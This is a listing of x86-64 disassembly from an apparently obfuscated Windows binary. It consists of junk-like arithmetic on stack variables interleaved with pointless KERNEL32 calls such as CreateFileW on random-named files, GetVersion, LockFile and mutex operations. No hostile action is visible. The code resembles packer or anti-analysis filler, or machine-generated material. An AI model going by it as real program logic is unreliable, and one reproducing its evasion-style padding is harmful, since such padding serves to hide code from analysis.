movsx ecx, word [rsp + 0x1bd0]
and eax, ecx
mov rcx, qword [rsp + 0x13770]
mov word [rcx], ax
lea rax, [rsp + 0x74d]
mov qword [rsp + 0x14380], rax
lea rax, [rsp + 0x19a0]
mov qword [0x140369f00], rax
mov rax, qword [rsp + 0x13238]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99e4], eax
lea rax, [rsp + 0x6658]
mov qword [rsp + 0x14388], rax
mov rax, qword [rsp + 0x14278]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2740]
xor eax, ecx
mov rcx, qword [rsp + 0x13b20]
mov word [rcx], ax
movzx eax, byte [0x1403525a3]
mov rcx, qword [rsp + 0x13918]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13e70]
mov byte [rcx], al
mov eax, dword [rsp + 0x9848]
mov dword [rsp + 0x9e50], eax
mov eax, dword [0x140369b98]
movzx ecx, al
mov eax, dword [rsp + 0x8b20]
shr eax, cl
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0x14390], rax
mov rax, qword [rsp + 0x14320]
mov ecx, dword [rsp + 0x5810]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x734]
and eax, ecx
mov rcx, qword [0x140369ee0]
mov byte [rcx], al
movzx eax, word [rsp + 0x260c]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c34], ax
mov rax, qword [rsp + 0x14100]
mov eax, dword [rax]
mov dword [rsp + 0x9e54], eax
mov rax, qword [0x140369cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13870]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.qkU4OkGT8EsZd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14398], rax
mov rax, qword [rsp + 0x13d58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
add eax, ecx
mov word [rsp + 0x26e0], ax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x743]
and eax, ecx
mov rcx, qword [rsp + 0x12ea0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x763]
sub eax, ecx
mov byte [rsp + 0x72e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x2c7c]
mov qword [rsp + 0x143a0], rax
mov rax, qword [rsp + 0x131f8]
mov ecx, dword [0x140369d54]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14210]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8ca0]
mov ecx, dword [rsp + 0x9bc4]
add ecx, eax
mov eax, ecx
mov dword [0x140362478], eax
mov eax, dword [rsp + 0x9bbc]
mov dword [rsp + 0x9e58], eax
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
mov rax, qword [rsp + 0x12f68]
mov ecx, dword [rsp + 0x9e54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5418], eax
mov rax, qword [rsp + 0x13e20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x871c], eax
movzx eax, word [rsp + 0x13d8]
movzx ecx, word [rsp + 0x2bd4]
shl eax, cl
mov word [rsp + 0x2bf8], ax
movzx eax, byte [0x140363f0f]
movzx ecx, byte [rsp + 0x702]
xor eax, ecx
mov byte [rsp + 0x758], al
mov eax, dword [rsp + 0x9c08]
mov dword [rsp + 0x9e5c], eax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
shr eax, cl
mov dword [rsp + 0x99e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x143a8], rax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov dword [rsp + 0x9e60], eax
mov dword [rsp + 0x20], 0x315a
mov r9d, 0x2b6f
mov r8d, 0x30eb
mov edx, 0x3d61
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9b40], eax
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
mov dword [0x140369f08], eax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13200]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c2c]
mov rcx, qword [0x140369b88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1310], ax
movsx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x13f00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x459], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov edx, 0x169a
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
movsx eax, word [rsp + 0x2c20]
mov rcx, qword [rsp + 0x137e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c78], ax
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x143b0], rax
mov eax, dword [rsp + 0x7534]
mov ecx, dword [rsp + 0x9db8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ad8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [0x140369ee8]
sub eax, ecx
mov word [rsp + 0x2c48], ax
mov rax, qword [rsp + 0x14048]
movzx eax, byte [rax]
mov byte [rsp + 0x768], al
lea rax, [rsp + 0x9ac4]
mov qword [0x140369f10], rax
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6700]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bc0], eax
lea rax, [0x140369b9c]
mov qword [rsp + 0x143b8], rax
mov rax, qword [rsp + 0x14350]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x143c0], rax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f0f]
and eax, ecx
mov rcx, qword [rsp + 0x13010]
mov byte [rcx], al
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
lea rax, [rsp + 0x9c70]
mov qword [rsp + 0x143c8], rax
mov dword [rsp + 0x20], 0x244b
mov r9d, 0x391b
mov r8d, 0x26c6
mov edx, 0x30d6
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ae0], eax
mov rax, qword [0x140369d20]
mov ecx, dword [rsp + 0x91dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d1c], eax
mov rax, qword [rsp + 0x13968]
mov ecx, dword [rsp + 0x58d4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140369c78]
mov dword [rcx], eax
mov eax, dword [0x140369c68]
mov rcx, qword [rsp + 0x13f78]
mov qword [rsp + 0x143d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8ae8], eax
mov rax, qword [rsp + 0x139c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f00]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x743], al
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x2094]
and eax, ecx
mov rcx, qword [rsp + 0x13468]
mov word [rcx], ax
lea rax, [rsp + 0x630]
mov qword [rsp + 0x143d8], rax
mov rax, qword [rsp + 0x13478]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dc8]
sub eax, ecx
mov word [rsp + 0x2b84], ax
lea rax, [rsp + 0x833c]
mov qword [rsp + 0x143e0], rax
mov rax, qword [rsp + 0x13570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c7c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e34], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
imul eax, eax, 0x19
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x13e60]
movzx eax, word [rax]
mov rcx, qword [0x140369c50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362468], ax
mov eax, dword [rsp + 0x9808]
mov dword [rsp + 0x9e68], eax
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0x9c38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0x9e6c], eax
mov rax, qword [0x140369c00]
mov rcx, qword [rsp + 0x14388]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b48], eax
mov edx, 0x11c2
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
movzx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0x13da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13538]
movzx eax, word [rax]
movzx ecx, word [0x140369c90]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0x13ac0]
mov ecx, dword [rsp + 0x96d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ad4], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x143e8], rax
lea rax, [rsp + 0x1ed0]
mov qword [0x140369f18], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.SSbG9PYsorglT3Xa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x143f0], rax
mov rax, qword [rsp + 0x13a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x756]
add eax, ecx
mov byte [rsp + 0x731], al
movzx eax, word [rsp + 0x2b9c]
mov word [rsp + 0x2c80], ax
mov dword [rsp + 0x20], 0x297e
mov r9d, 0x2f62
mov r8d, 0x339e
mov edx, 0x18bc
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9d9c], eax
movzx eax, byte [rsp + 0x703]
mov rcx, qword [rsp + 0x14288]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12f80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x4bb50], 0x11c
mov rax, qword [rsp + 0x14330]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x143b0]
mov qword [rsp + 0x143f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9dd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov eax, dword [rsp + 0x9c54]
mov rcx, qword [rsp + 0x13490]
mov qword [rsp + 0x14400], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14400]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x87e8], eax
mov rax, qword [rsp + 0x132c8]
mov eax, dword [rax]
mov ecx, dword [0x140362470]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13190]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f40]
mov eax, dword [rax]
mov dword [rsp + 0x9e70], eax
mov rax, qword [rsp + 0x13808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x96d8], eax
movzx eax, byte [0x1403525ba]
movzx ecx, byte [rsp + 0x266]
and eax, ecx
mov byte [rsp + 0x75e], al
mov dword [rsp + 0x20], 0x3c10
mov r9d, 0x3d0d
mov r8d, 0x2772
mov edx, 0x39b9
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9dcc], eax
movzx eax, word [rsp + 0x1f18]
mov rcx, qword [rsp + 0x13e00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1403624bc], ax
mov eax, dword [0x140362490]
mov ecx, dword [rsp + 0x9ddc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59d0], eax
mov rax, qword [rsp + 0x14050]
mov ecx, dword [rsp + 0x5498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
lea rax, [rsp + 0x9b00]
mov qword [rsp + 0x14408], rax
mov rax, qword [0x140369ba8]
mov rcx, qword [rsp + 0x137d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x739]
add eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
lea rax, [rsp + 0x288c]
mov qword [rsp + 0x14410], rax
movsx eax, word [0x14036248c]
mov rcx, qword [rsp + 0x13658]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13630]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x751]
mov qword [rsp + 0x14418], rax
mov rax, qword [rsp + 0x142d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369c40]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.eCeczByh1PUPnD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14420], rax
mov rax, qword [0x140369b90]
mov rcx, qword [rsp + 0x130d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13c18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f38], ax
movzx eax, byte [rsp + 0x585]
mov byte [rsp + 0x769], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
mov eax, dword [rsp + 0x9e50]
mov ecx, dword [0x140369da8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd0], eax
lea rax, [rsp + 0x7fc4]
mov qword [rsp + 0x14428], rax
mov rax, qword [rsp + 0x13118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ae4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e14], eax
lea rax, [rsp + 0x751c]
mov qword [rsp + 0x14430], rax
movzx eax, word [rsp + 0x1bd4]
mov rcx, qword [rsp + 0x13478]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x204]
mov byte [0x140363f5d], al
mov eax, dword [rsp + 0x8df8]
movzx ecx, al
mov eax, dword [0x140369ed0]
shr eax, cl
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x9950]
mov qword [rsp + 0x14438], rax
lea rdx, [rsp + 0x42e28]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c58], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e74], eax
mov rax, qword [rsp + 0x12fd8]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x99b4], eax
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9a44], eax
lea rdx, [rsp + 0x42e98]
mov rcx, qword [rsp + 0x13aa0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9de8], eax
mov rax, qword [rsp + 0x13eb0]
mov eax, dword [rax]
mov dword [rsp + 0x9e78], eax
mov eax, dword [rsp + 0x9b08]
mov ecx, dword [rsp + 0x7fb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x76ec], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a4c], eax
movsx eax, byte [rsp + 0x72c]
mov rcx, qword [rsp + 0x131b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x736], al
movsx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x154c], ax
movzx eax, byte [rsp + 0x678]
mov rcx, qword [rsp + 0x13ab8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x745], al
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9de4], eax
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13100]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369e88]
mov word [rcx], ax
lea rax, [rsp + 0x9bd0]
mov qword [rsp + 0x14440], rax
mov eax, dword [rsp + 0x9c28]
mov ecx, dword [rsp + 0x7074]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12c4], ax
lea rax, [rsp + 0x73f]
mov qword [rsp + 0x14448], rax
mov rax, qword [rsp + 0x13530]
mov ecx, dword [rsp + 0x9c24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
lea rax, [0x140362460]
mov qword [rsp + 0x14450], rax
mov eax, dword [rsp + 0x9e44]
mov ecx, dword [rsp + 0x9c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a48], eax
lea rax, [rsp + 0x527c]
mov qword [rsp + 0x14458], rax
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
movzx ecx, word [0x140369ea8]
sar eax, cl
mov rcx, qword [0x140369d88]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13c40]
mov byte [rcx], al
mov eax, dword [rsp + 0x9be4]
movzx ecx, al
mov eax, dword [rsp + 0x9a84]
shl eax, cl
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
lea rax, [rsp + 0x567c]
mov qword [rsp + 0x14460], rax
movsx eax, word [rsp + 0x1938]
mov rcx, qword [rsp + 0x14060]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
lea rax, [rsp + 0x738]
mov qword [rsp + 0x14468], rax
movzx eax, word [rsp + 0x2c40]
mov rcx, qword [rsp + 0x143a0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.RFVrB3a1AZwL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14470], rax
mov rax, qword [rsp + 0x13128]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x735]
add eax, ecx
mov byte [rsp + 0x72d], al
lea rax, [rsp + 0x9354]
mov qword [rsp + 0x14478], rax
lea rax, [0x140369de0]
mov qword [0x140369f20], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov rax, qword [rsp + 0x13260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6700], eax
lea rax, [rsp + 0x6438]
mov qword [rsp + 0x14480], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x13c18]
mov rcx, qword [rsp + 0x13b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x734c], eax
lea rdx, [rsp + 0x42ed0]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b40], eax
mov rax, qword [rsp + 0x135c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x260c]
add eax, ecx
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0x13858]
movzx eax, byte [rax]
mov byte [rsp + 0x76a], al
mov rax, qword [rsp + 0x13600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9be4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86f8], eax
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [0x140369d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66b0], eax
mov eax, dword [rsp + 0x5810]
mov dword [0x140369f28], eax
movzx eax, byte [rsp + 0x745]
mov rcx, qword [rsp + 0x13da0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c50]
mov word [rsp + 0x2c84], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c4c], eax
mov rax, qword [0x140369ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73c]
add eax, ecx
mov byte [rsp + 0x757], al
mov rcx, qword [rsp + 0x13bc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x42e28]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e7c], eax
lea rax, [rsp + 0x2c70]
mov qword [rsp + 0x14488], rax
mov eax, dword [rsp + 0x9a9c]
movzx ecx, al
mov eax, dword [rsp + 0x9ac4]
shr eax, cl
mov dword [rsp + 0x9be4], eax
mov eax, dword [rsp + 0x6ee8]
mov dword [rsp + 0x9e80], eax
mov rax, qword [rsp + 0x13f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13888]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74c]
mov rcx, qword [rsp + 0x13bb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x732], al
mov rax, qword [rsp + 0x13e40]
mov ecx, dword [rsp + 0x9c9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369c30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6700]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e4], eax
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d3c], eax
mov rcx, qword [rsp + 0x133a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14490], rax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c18]
mov dword [rcx], eax
lea rax, [rsp + 0x9cd8]
mov qword [rsp + 0x14498], rax
movzx eax, byte [rsp + 0x37f]
movzx ecx, byte [rsp + 0x5cb]
sub eax, ecx
mov byte [rsp + 0x72d], al
movzx eax, word [0x1403624bc]
movzx ecx, word [rsp + 0x2c08]
add eax, ecx
mov word [rsp + 0x1f24], ax
lea rax, [rsp + 0x9b20]
mov qword [rsp + 0x144a0], rax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13440]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13160]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov rax, qword [0x140369e58]
mov eax, dword [rax]
mov dword [rsp + 0x9e84], eax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ce4]
add ecx, eax
mov eax, ecx
mov dword [0x1403624c0], eax
mov rax, qword [rsp + 0x14390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ce8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142c8]
mov dword [rcx], eax
movsx eax, word [0x1403624a4]
movsx ecx, word [rsp + 0x2c44]
add eax, ecx
mov rcx, qword [rsp + 0x12e98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x736]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
mov rcx, qword [0x140369b80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b88], ax
movzx eax, byte [rsp + 0x2b0]
mov byte [rsp + 0x76b], al
mov eax, dword [rsp + 0x9b70]
movzx ecx, al
mov eax, dword [rsp + 0x9970]
shl eax, cl
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x9a90]
mov dword [rsp + 0x9e88], eax
movzx eax, byte [rsp + 0x630]
movzx ecx, byte [rsp + 0x1c8]
sar eax, cl
mov byte [rsp + 0x742], al
mov rax, qword [rsp + 0x13be0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140369df8], ax
mov rax, qword [0x140369dd0]
mov rcx, qword [rsp + 0x13358]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9354], eax
mov eax, dword [rsp + 0x81d0]
mov ecx, dword [rsp + 0x9a10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c50], eax
mov eax, dword [rsp + 0x567c]
mov ecx, dword [rsp + 0x9c7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13920]
mov eax, dword [rax]
mov dword [rsp + 0x9e8c], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x13460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b0], al
lea rax, [rsp + 0x9c74]
mov qword [rsp + 0x144a8], rax
mov eax, dword [rsp + 0x9a14]
mov ecx, dword [rsp + 0x9bf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fa4], eax
mov rax, qword [rsp + 0x14280]
movzx eax, word [rax]
mov word [0x140369f2c], ax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x759]
mov qword [rsp + 0x144b0], rax
movzx eax, byte [rsp + 0x23a]
movzx ecx, byte [rsp + 0x243]
sub eax, ecx
mov byte [rsp + 0x768], al
movzx eax, word [rsp + 0x17e8]
movzx ecx, word [0x1403624ac]
and eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
mov edx, 0x5d4
mov rcx, qword [rsp + 0x13d88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e90], eax
